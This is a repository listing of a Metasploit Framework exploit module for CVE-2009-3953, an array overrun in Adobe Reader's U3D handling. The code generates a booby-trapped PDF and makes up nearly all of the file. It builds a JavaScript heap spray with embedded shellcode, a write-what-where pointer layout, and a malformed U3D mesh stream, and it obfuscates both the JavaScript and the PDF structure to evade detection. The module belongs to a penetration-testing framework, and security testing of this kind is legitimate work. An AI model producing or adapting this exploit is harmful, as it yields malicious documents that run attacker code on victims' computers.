Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / fileformat / adobe_u3d_meshdecl.rb @ master

History | View | Annotate | Download (13.9 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13
require 'zlib'
14

    
15
class Metasploit3 < Msf::Exploit::Remote
16
        Rank = GoodRanking
17

    
18
        include Msf::Exploit::FILEFORMAT
19

    
20
        def initialize(info = {})
21
                super(update_info(info,
22
                        'Name'           => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
23
                        'Description'    => %q{
24
                                        This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
25
                                        Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a
26
                                        specially crafted pdf that a contains malformed U3D data, an attacker may
27
                                        be able to execute arbitrary code.
28
                        },
29
                        'License'        => MSF_LICENSE,
30
                        'Author'         =>
31
                                [
32
                                        'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
33
                                        'jduck'
34
                                ],
35
                        'Version'        => '$Revision$',
36
                        'References'     =>
37
                                [
38
                                        [ 'CVE', '2009-3953' ],
39
                                        [ 'OSVDB', '61690' ],
40
                                        [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
41
                                ],
42
                        'DefaultOptions' =>
43
                                {
44
                                        'EXITFUNC' => 'process',
45
                                        'DisablePayloadHandler' => 'true',
46
                                },
47
                        'Payload'        =>
48
                                {
49
                                        'Space'         => 1024,
50
                                        'BadChars'      => "\x00",
51
                                        'DisableNops'         => true
52
                                },
53
                        'Platform'       => 'win',
54
                        'Targets'        =>
55
                                [
56
                                        # test results (on Windows XP SP3)
57
                                        # reader 7.0.5 - untested
58
                                        # reader 7.0.8 - untested
59
                                        # reader 7.0.9 - untested
60
                                        # reader 7.1.0 - untested
61
                                        # reader 7.1.1 - untested
62
                                        # reader 8.0.0 - untested
63
                                        # reader 8.1.2 - works
64
                                        # reader 8.1.3 - not working :-/
65
                                        # reader 8.1.4 - untested
66
                                        # reader 8.1.5 - untested
67
                                        # reader 8.1.6 - untested
68
                                        # reader 9.0.0 - untested
69
                                        # reader 9.1.0 - works
70
                                        [ 'Adobe Reader Windows Universal (JS Heap Spray)',
71
                                                {
72
                                                        'Size'                => (6500/20),
73
                                                        'DataAddr'        => 0x09011020,
74
                                                        'WriteAddr'        => 0x7c49fb34,
75
                                                }
76
                                        ],
77
                                ],
78
                        'DisclosureDate' => 'Oct 13 2009',
79
                        'DefaultTarget'  => 0))
80

    
81
                register_options(
82
                        [
83
                                OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
84
                        ], self.class)
85

    
86
        end
87

    
88

    
89

    
90
        def exploit
91
                # Encode the shellcode.
92
                shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
93

    
94
                # Make some nops
95
                nops    = Rex::Text.to_unescape(make_nops(4))
96

    
97
=begin
98

    
99
Original notes on heap technique used in this exploit:
100

    
101
## PREPAREHOLES:
102
## We will construct 6500*20 bytes long chunks starting like this
103
## |0         |6   |8       |C        |24                    |size
104
## |00000...  |0100|20100190|0000...  |    ......pad......   |
105
##                 \      \
106
##                 \      \ -Pointer: to controlled data
107
##                   \ -Flag: must be 1
108
## -Adobe will handle this ragged structure if the Flag is on.
109
## -Adobe will get 'what to write where' from the memory pointed
110
##  by our supplied Pointer.
111
##
112
## then allocate a bunch of those ..
113
## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | ..
114
##    |XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX|
115
##
116
## and then free some of them...
117
## .. | chunk | free  | chunk |  free  | chunk |  free  | chunck | ..
118
##    |XXXXXXX|       |XXXXXXX|        |XXXXXXX|        |XXXXXXXX|
119
##
120
## This way controlling when the next 6500*20 malloc will be
121
## followed with. We freed more than one hole so it became tolerant
122
## to some degree of malloc/free trace noise.
123
## Note the 6500 is arbitrary it should be a fairly unused chunk size
124
## not big enough to cause a different type of allocation.
125
## Also as we don't need to reference it from anywhere we don't care
126
## where this hole layout is placed in memory.
127

    
128
## PREPAREMEMORY:
129
## In the next technique we make a big-chunk of 0x10000 bytes
130
## repeating a 0x1000 bytes long mini-chunk of controled data.
131
## Big-chunks are always allocated aligned to 0x1000. And if we
132
## allocate a fair amount of big-chuncks (XPSPx) we'll be confident
133
## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000
134
## will have our mini chunk
135
##
136
## A mini-chunk will have this look
137
##
138
## |0         |10          |54         |?           |0xff0  |0x1000
139
## |00000...  |  POINTERS  |    nops   | shellcode  |  pad  |
140
##
141
## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+
142
## But we use 0x09011064.
143
## POINTERS looks like this:
144
## ...
145

    
146
=end
147

    
148
                # prepare the hole
149
                daddr = target['DataAddr']
150
                hole_data = [0,0,1,daddr].pack('VvvV')
151
                #padding
152
                hole_data << "\x00" * 24
153
                hole = Rex::Text.to_unescape(hole_data)
154

    
155
                # prepare ptrs
156
                ptrs_data = [0].pack('V')
157
                #where to write
158
                ptrs_data << [target['WriteAddr'] / 4].pack('V')
159
                #must be greater tan 5 and less than x for getting us where we want
160
                ptrs_data << [6].pack('V')
161
                #what to write
162
                ptrs_data << [(daddr+0x10)].pack('V')
163
                #autopointer for print magic(tm)
164
                ptrs_data << [(daddr+0x14)].pack('V')
165
                #function pointers for print magic(tm)
166
                #pointing to our shellcode
167
                ptrs_data << [(daddr+0x44)].pack('V') * 12
168
                ptrs = Rex::Text.to_unescape(ptrs_data)
169

    
170
                js_doc = <<-EOF
171
function prepareHoles(slide_size)
172
{
173
        var size = 1000;
174
        var xarr = new Array(size);
175
        var hole = unescape("#{hole}");
176
        var pad = unescape("%u5858");
177
        while (pad.length <= slide_size/2 - hole.length)
178
                pad += pad;
179
        for (loop1=0; loop1 < size; loop1+=1)
180
        {
181
                ident = ""+loop1;
182
                xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);
183
        }
184
        for (loop2=0;loop2<100;loop2++)
185
        {
186
                for (loop1=size/2; loop1 < size-2; loop1+=2)
187
                {
188
                        xarr[loop1]=null;
189
                        xarr[loop1]=pad.substring(0,0x10000/2 )+"A";
190
                        xarr[loop1]=null;
191
                }
192
        }
193
        return xarr;
194
}
195

    
196
function prepareMemory(size)
197
{
198
        var mini_slide_size = 0x1000;
199
        var slide_size = 0x100000;
200
        var xarr = new Array(size);
201
        var pad = unescape("%ucccc");
202

    
203
        while (pad.length <= 32 )
204
                pad += pad;
205

    
206
        var nops = unescape("#{nops}");
207
        while (nops.length <= mini_slide_size/2 - nops.length)
208
                nops += nops;
209

    
210
        var shellcode = unescape("#{shellcode}");
211
        var pointers = unescape("#{ptrs}");
212
        var chunk = nops.substring(0,32/2) + pointers +
213
                nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) +
214
                shellcode + pad.substring(0,32/2);
215
        chunk=chunk.substring(0,mini_slide_size/2);
216
        while (chunk.length <= slide_size/2)
217
                chunk += chunk;
218

    
219
        for (loop1=0; loop1 < size; loop1+=1)
220
        {
221
                ident = ""+loop1;
222
                xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident;
223
        }
224
        return xarr;
225
}
226

    
227
        var mem = prepareMemory(200);
228
        var holes = prepareHoles(6500);
229
        this.pageNum = 1;
230
EOF
231
                js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|
232

    
233
                # Obfuscate it up a bit
234
                js_doc = obfuscate_js(js_doc,
235
                        'Symbols' => {
236
                                'Variables' => %W{ slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident },
237
                                'Methods' => %W{ prepareMemory prepareHoles }
238
                        }).to_s
239

    
240
                # create the u3d stuff
241
                u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))
242

    
243
                # Create the pdf
244
                pdf = make_pdf(u3d, js_doc, js_pg1)
245

    
246
                print_status("Creating '#{datastore['FILENAME']}' file...")
247

    
248
                file_create(pdf)
249
        end
250

    
251

    
252
        def obfuscate_js(javascript, opts)
253
                js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
254
                js.obfuscate
255
                return js
256
        end
257

    
258

    
259
        def RandomNonASCIIString(count)
260
                result = ""
261
                count.times do
262
                        result << (rand(128) + 128).chr
263
                end
264
                result
265
        end
266

    
267
        def ioDef(id)
268
                "%d 0 obj\n" % id
269
        end
270

    
271
        def ioRef(id)
272
                "%d 0 R" % id
273
        end
274

    
275
        #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
276
        def nObfu(str)
277

    
278
                result = ""
279
                str.scan(/./u) do |c|
280
                        if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
281
                                result << "#%x" % c.unpack("C*")[0]
282
                        else
283
                                result << c
284
                        end
285
                end
286
                result
287
        end
288

    
289
        def ASCIIHexWhitespaceEncode(str)
290
                result = ""
291
                whitespace = ""
292
                str.each_byte do |b|
293
                        result << whitespace << "%02x" % b
294
                        whitespace = " " * (rand(3) + 1)
295
                end
296
                result << ">"
297
        end
298

    
299
        def u3d_pad(str, char="\x00")
300
                ret = ""
301
                if (str.length % 4) > 0
302
                        ret << char * (4 - (str.length % 4))
303
                end
304
                return ret
305
        end
306

    
307

    
308
        def make_u3d_stream(size, meshname)
309

    
310
                # build the U3D header
311
                hdr_data = [1,0].pack('n*') # version info
312
                hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
313
                hdr = "U3D\x00"
314
                hdr << [hdr_data.length,0].pack('VV')
315
                hdr << hdr_data
316

    
317
                # mesh declaration
318
                decl_data = [meshname.length].pack('v')
319
                decl_data << meshname
320
                decl_data << [0].pack('V') # chain idx
321
                # max mesh desc
322
                decl_data << [0].pack('V') # mesh attrs
323
                decl_data << [1].pack('V') # face count
324
                decl_data << [size].pack('V') # position count
325
                decl_data << [4].pack('V') # normal count
326
                decl_data << [0].pack('V') # diffuse color count
327
                decl_data << [0].pack('V') # specular color count
328
                decl_data << [0].pack('V') # texture coord count
329
                decl_data << [1].pack('V') # shading count
330
                # shading desc
331
                decl_data << [0].pack('V') # shading attr
332
                decl_data << [0].pack('V') # texture layer count
333
                decl_data << [0].pack('V') # texture coord dimensions
334
                # no textore coords (original shading ids)
335
                decl_data << [size+2].pack('V') # minimum resolution
336
                decl_data << [size+3].pack('V') # final maximum resolution (needs to be bigger than the minimum)
337
                # quality factors
338
                decl_data << [0x12c].pack('V') # position quality factor
339
                decl_data << [0x12c].pack('V') # normal quality factor
340
                decl_data << [0x12c].pack('V') # texture coord quality factor
341
                # inverse quantiziation
342
                decl_data << [0].pack('V') # position inverse quant
343
                decl_data << [0].pack('V') # normal inverse quant
344
                decl_data << [0].pack('V') # texture coord inverse quant
345
                decl_data << [0].pack('V') # diffuse color inverse quant
346
                decl_data << [0].pack('V') # specular color inverse quant
347
                # resource params
348
                decl_data << [0].pack('V') # normal crease param
349
                decl_data << [0].pack('V') # normal update param
350
                decl_data << [0].pack('V') # normal tolerance param
351
                # skeleton description
352
                decl_data << [0].pack('V') # bone count
353
                # padding
354
                decl_pad = u3d_pad(decl_data)
355
                mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
356
                mesh_decl << decl_data
357
                mesh_decl << decl_pad
358

    
359
                # build the modifier chain
360
                chain_data = [meshname.length].pack('v')
361
                chain_data << meshname
362
                chain_data << [1].pack('V') # type (model resource)
363
                chain_data << [0].pack('V') # attributes (no bounding info)
364
                chain_data << u3d_pad(chain_data)
365
                chain_data << [1].pack('V') # number of modifiers
366
                chain_data << mesh_decl
367
                modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
368
                modifier_chain << chain_data
369

    
370
                # mesh continuation
371
                cont_data = [meshname.length].pack('v')
372
                cont_data << meshname
373
                cont_data << [0].pack('V') # chain idx
374
                cont_data << [0].pack('V') # start resolution
375
                cont_data << [0].pack('V') # end resolution
376
                # no resolution update, unknown data follows
377
                cont_data << [0].pack('V')
378
                cont_data << [1].pack('V') * 10
379
                mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
380
                mesh_cont << cont_data
381
                mesh_cont << u3d_pad(cont_data)
382

    
383
                data = hdr
384
                data << modifier_chain
385
                data << mesh_cont
386

    
387
                # patch the length
388
                data[24,4] = [data.length].pack('V')
389

    
390
                return data
391

    
392
        end
393

    
394
        def make_pdf(u3d_stream, js_doc, js_pg1)
395

    
396
                xref = []
397
                eol = "\x0a"
398
                obj_end = "" << eol << "endobj" << eol
399

    
400
                # the header
401
                pdf = "%PDF-1.7" << eol
402

    
403
                # filename/comment
404
                pdf << "%" << RandomNonASCIIString(4) << eol
405

    
406
                # js stream (doc open action js)
407
                xref << pdf.length
408
                compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc))
409
                pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
410
                pdf << "stream" << eol
411
                pdf << compressed << eol
412
                pdf << "endstream" << eol
413
                pdf << obj_end
414

    
415
                # js stream 2 (page 1 annot js)
416
                xref << pdf.length
417
                compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_pg1))
418
                pdf << ioDef(2) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
419
                pdf << "stream" << eol
420
                pdf << compressed << eol
421
                pdf << "endstream" << eol
422
                pdf << obj_end
423

    
424
                # catalog
425
                xref << pdf.length
426
                pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)
427
                pdf << nObfu("/Pages ") << ioRef(5)
428
                pdf << nObfu("/OpenAction ") << ioRef(8) << nObfu(">>")
429
                pdf << obj_end
430

    
431
                # outline
432
                xref << pdf.length
433
                pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")
434
                pdf << obj_end
435

    
436
                # pages/kids
437
                xref << pdf.length
438
                pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")
439
                pdf << ioRef(10) << " " # empty page
440
                pdf << ioRef(11) # u3d page
441
                pdf << nObfu("]>>")
442
                pdf << obj_end
443

    
444
                # u3d stream
445
                xref << pdf.length
446
                pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
447
                pdf << "stream" << eol
448
                pdf << u3d_stream << eol
449
                pdf << "endstream"
450
                pdf << obj_end
451

    
452
                # u3d annotation object
453
                xref << pdf.length
454
                pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")
455
                pdf << "/3D/3DA <</A/PO/DIS/I>>"
456
                pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")
457
                pdf << obj_end
458

    
459
                # js dict (open action js)
460
                xref << pdf.length
461
                pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end
462

    
463
                # js dict (page 1 annot js)
464
                xref << pdf.length
465
                pdf << ioDef(9) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(2) + ">>" << obj_end
466

    
467
                # page 0 (empty)
468
                xref << pdf.length
469
                pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
470
                pdf << nObfu(" >>")
471
                pdf << obj_end
472

    
473
                # page 1 (u3d/print)
474
                xref << pdf.length
475
                pdf << ioDef(11) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
476
                pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")
477
                pdf << nObfu("/AA << /O ") << ioRef(9) << nObfu(">>")
478
                pdf << nObfu(">>")
479
                pdf << obj_end
480

    
481
                # xrefs
482
                xrefPosition = pdf.length
483
                pdf << "xref" << eol
484
                pdf << "0 %d" % (xref.length + 1) << eol
485
                pdf << "0000000000 65535 f" << eol
486
                xref.each do |index|
487
                        pdf << "%010d 00000 n" % index << eol
488
                end
489

    
490
                # trailer
491
                pdf << "trailer" << eol
492
                pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol
493
                pdf << "startxref" << eol
494
                pdf << xrefPosition.to_s() << eol
495
                pdf << "%%EOF" << eol
496

    
497
        end
498

    
499
end
500